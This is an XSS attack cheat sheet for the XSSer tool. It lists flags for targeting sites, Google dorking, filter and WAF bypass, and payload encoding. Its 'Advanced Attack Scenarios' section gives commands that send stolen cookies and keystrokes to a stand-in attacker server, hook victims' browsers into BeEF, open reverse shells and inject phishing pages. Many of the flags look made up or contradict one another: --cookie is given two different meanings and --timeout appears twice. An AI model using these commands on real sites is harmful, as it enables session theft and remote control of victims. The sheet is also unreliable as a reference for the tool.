XSSer Cheat Sheet
Cross-Site Scripting (XSS) Attack Automation Tool
Basic XSSer Usage
Basic GET Request
xsser -u "http://example.com/search.php?q=XSS"
Test a URL for XSS vulnerabilities with default payloads.
Basic POST Request
xsser -u "http://example.com/login" -p "username=XSS&password=test"
Test POST parameters for XSS vulnerabilities.
Multiple URLs
xsser -i urls.txt
Test multiple URLs from a file.
Specify Parameter
xsser -u "http://example.com/search.php" -g "q=XSS"
Test a specific GET parameter.
Verbose Output
xsser -u "http://example.com" -v
Show verbose output with more details.
Save Results
xsser -u "http://example.com" -o results.html
Save results to an HTML file.
Common Options
Threads
xsser --threads 10
Use multiple threads (default: 5).
Timeout
xsser --timeout 20
Set timeout in seconds (default: 30).
Proxy
xsser --proxy "http://127.0.0.1:8080"
Use a proxy for requests.
User Agent
xsser --user-agent "Mozilla/5.0"
Set custom user agent.
Cookie
xsser --cookie "PHPSESSID=1234"
Set cookie for authenticated tests.
Referer
xsser --referer "http://example.com"
Set custom referer header.
Target Specification
Single URL
xsser -u "http://example.com/search?q=XSS"
Test a single URL with parameter.
Multiple Parameters
xsser -u "http://example.com/search" -g "q=XSS&sort=XSS"
Test multiple GET parameters.
POST Data
xsser -u "http://example.com/login" -p "user=XSS&pass=test"
Test POST parameters.
URL List
xsser -i urls.txt
Test multiple URLs from a file.
Dorking
xsser -d "inurl:search.php?q="
Search for targets using Google dork.
Crawling
xsser -u "http://example.com" --crawl 2
Crawl website to depth 2 and test all found pages.
Parameter Handling
Auto-detect Parameters
xsser -u "http://example.com/search.php?q=test" --auto
Automatically detect and test all parameters.
Parameter Prefix
xsser -u "http://example.com" --prefix "search"
Only test parameters starting with “search”.
Parameter Suffix
xsser -u "http://example.com" --suffix "id"
Only test parameters ending with “id”.
Exclude Parameters
xsser -u "http://example.com" --exclude "token,session"
Exclude specific parameters from testing.
Parameter Position
xsser -u "http://example.com" --position "last"
Only test the last parameter in URLs.
Parameter Values
xsser -u "http://example.com" --value "user"
Only test parameters with specific values.
Payload Injection
Default Payloads
xsser --payload
Use default XSS payloads.
Custom Payload
xsser --payload "<script>alert('XSS')</script>"
Use a custom XSS payload.
Payload File
xsser --payload-file payloads.txt
Use payloads from a file.
Encoder
xsser --encoder "hex"
Encode payloads (hex, dec, base64, etc.).
Multiple Encoders
xsser --encoder "hex,base64"
Use multiple encodings for payloads.
Fuzzing
xsser --fuzz
Use fuzzing techniques to generate payloads.
Injection Techniques
DOM Injection
xsser --dom
Test for DOM-based XSS vulnerabilities.
Event Handlers
xsser --handler
Test with event handler payloads (onload, onerror, etc.).
Script Tags
xsser --script
Test with script tag payloads.
IMG Tags
xsser --img
Test with image tag payloads.
SVG Payloads
xsser --svg
Test with SVG-based payloads.
HTML5 Payloads
xsser --html5
Test with HTML5-specific payloads.
Filter Bypass Techniques
Case Variation
xsser --case
Try case variations to bypass filters.
String Concatenation
xsser --concat
Use string concatenation techniques.
Comment Obfuscation
xsser --comment
Insert comments to break up payloads.
Double Encoding
xsser --double
Use double encoding techniques.
Null Bytes
xsser --null
Insert null bytes in payloads.
Unicode
xsser --unicode
Use Unicode encoding bypasses.
Advanced Bypass Methods
Mutation Testing
xsser --mutate
Randomly mutate payloads to bypass filters.
WAF Bypass
xsser --waf
Use Web Application Firewall bypass techniques.
Character Replacement
xsser --replace
Replace characters with alternatives (e.g., < with %3C).
Whitespace Variation
xsser --whitespace
Use different whitespace characters.
Alternative Tags
xsser --alt
Use alternative HTML tags for injection.
Hex Encoding
xsser --hex
Use hexadecimal encoding for payloads.
Special Attack Types
Stored XSS
xsser --stored
Test for stored/persistent XSS vulnerabilities.
Blind XSS
xsser --blind "http://your-server.com"
Test for blind XSS with callback to your server.
Clickjacking
xsser --click
Test for clickjacking vulnerabilities.
CSRF Testing
xsser --csrf
Test for Cross-Site Request Forgery issues.
SQL Injection
xsser --sql
Test for SQL injection vulnerabilities.
DDoS Mode
xsser --ddos
Test for DDoS amplification vulnerabilities.
Advanced Attack Scenarios
Cookie Stealing
xsser --cookie "http://your-server.com/steal.php"
Test payloads that steal cookies to your server.
Keylogger
xsser --keylogger "http://your-server.com/keylog.php"
Test keylogger payloads.
BeEF Hook
xsser --beef "http://your-beef-server.com:3000/hook.js"
Test payloads that hook to BeEF framework.
Reverse Shell
xsser --reverse "your-ip:port"
Test reverse shell payloads.
Phishing
xsser --phishing "http://your-server.com/fake-login"
Test phishing page injection.
Browser Exploitation
xsser --exploit
Test browser exploit payloads.
Advanced Configuration
Manual Request
xsser --manual
Manually confirm each request.
Delay Between Requests
xsser --delay 5
Add delay (in seconds) between requests.
Retries
xsser --retries 3
Number of retries for failed requests.
Timeout
xsser --timeout 20
Connection timeout in seconds.
SSL Verification
xsser --no-ssl
Disable SSL certificate verification.
Follow Redirects
xsser --follow
Follow HTTP redirects.
Reporting Options
HTML Report
xsser --report html
Generate HTML report.
XML Report
xsser --report xml
Generate XML report.
JSON Report
xsser --report json
Generate JSON report.
CSV Report
xsser --report csv
Generate CSV report.
Verbose Output
xsser --verbose 3
Set verbosity level (0-5).
Debug Mode
xsser --debug
Enable debug output.
